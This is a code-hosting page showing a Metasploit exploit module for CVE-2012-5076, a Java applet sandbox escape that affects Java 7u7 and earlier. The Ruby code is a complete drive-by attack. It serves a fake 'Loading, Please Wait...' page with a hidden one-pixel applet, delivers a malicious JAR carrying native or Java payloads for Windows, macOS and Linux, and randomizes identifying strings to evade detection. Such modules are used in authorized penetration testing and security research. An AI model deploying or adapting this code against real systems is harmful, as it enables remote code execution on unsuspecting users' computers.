CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
include Msf::Exploit::EXE
11
12
#include Msf::Exploit::Remote::BrowserAutopwn
13
#autopwn_info({ :javascript => false })
14
15
def initialize( info = {} )
16
17
super( update_info( info,
18
'Name' => 'Java Applet AverageRangeStatisticImpl Remote Code Execution',
19
'Description' => %q{
20
This module abuses the AverageRangeStatisticImpl from a Java Applet to run
21
arbitrary Java code outside of the sandbox, a different exploit vector than the one
22
exploited in the wild in November of 2012. The vulnerability affects Java version
23
7u7 and earlier.
24
},
25
'License' => MSF_LICENSE,
26
'Author' =>
27
[
28
'Unknown', # Vulnerability discovery at security-explorations
29
'juan vazquez' # Metasploit module
30
],
31
'References' =>
32
[
33
[ 'CVE', '2012-5076' ],
34
[ 'OSVDB', '86363' ],
35
[ 'BID', '56054' ],
36
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
37
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-5076' ],
38
[ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ]
39
],
40
'Platform' => %w{ java linux osx win },
41
'Payload' => { 'Space' => 20480, 'DisableNops' => true },
42
'Targets' =>
43
[
44
[ 'Generic (Java Payload)',
45
{
46
'Platform' => ['java'],
47
'Arch' => ARCH_JAVA,
48
}
49
],
50
[ 'Windows x86 (Native Payload)',
51
{
52
'Platform' => 'win',
53
'Arch' => ARCH_X86,
54
}
55
],
56
[ 'Mac OS X x86 (Native Payload)',
57
{
58
'Platform' => 'osx',
59
'Arch' => ARCH_X86,
60
}
61
],
62
[ 'Linux x86 (Native Payload)',
63
{
64
'Platform' => 'linux',
65
'Arch' => ARCH_X86,
66
}
67
],
68
],
69
'DefaultTarget' => 0,
70
'DisclosureDate' => '2012-10-16'
71
))
72
end
73
74
75
def setup
76
path = File.join(Msf::Config.data_directory, "exploits", "cve-2012-5076_2", "Exploit.class")
77
@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
78
path = File.join(Msf::Config.data_directory, "exploits", "cve-2012-5076_2", "B.class")
79
@loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
80
81
@exploit_class_name = rand_text_alpha("Exploit".length)
82
@exploit_class.gsub!("Exploit", @exploit_class_name)
83
super
84
end
85
86
def on_request_uri(cli, request)
87
print_status("handling request for #{request.uri}")
88
89
case request.uri
90
when /\.jar$/i
91
jar = payload.encoded_jar
92
jar.add_file("#{@exploit_class_name}.class", @exploit_class)
93
jar.add_file("B.class", @loader_class)
94
metasploit_str = rand_text_alpha("metasploit".length)
95
payload_str = rand_text_alpha("payload".length)
96
jar.entries.each { |entry|
97
entry.name.gsub!("metasploit", metasploit_str)
98
entry.name.gsub!("Payload", payload_str)
99
entry.data = entry.data.gsub("metasploit", metasploit_str)
100
entry.data = entry.data.gsub("Payload", payload_str)
101
}
102
jar.build_manifest
103
104
send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
105
when /\/$/
106
payload = regenerate_payload(cli)
107
if not payload
108
print_error("Failed to generate the payload.")
109
send_not_found(cli)
110
return
111
end
112
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
113
else
114
send_redirect(cli, get_resource() + '/', '')
115
end
116
117
end
118
119
def generate_html
120
html = %Q|<html><head><title>Loading, Please Wait...</title></head>|
121
html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
122
html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">|
123
html += %Q|</applet></body></html>|
124
return html
125
end
126
end
127
128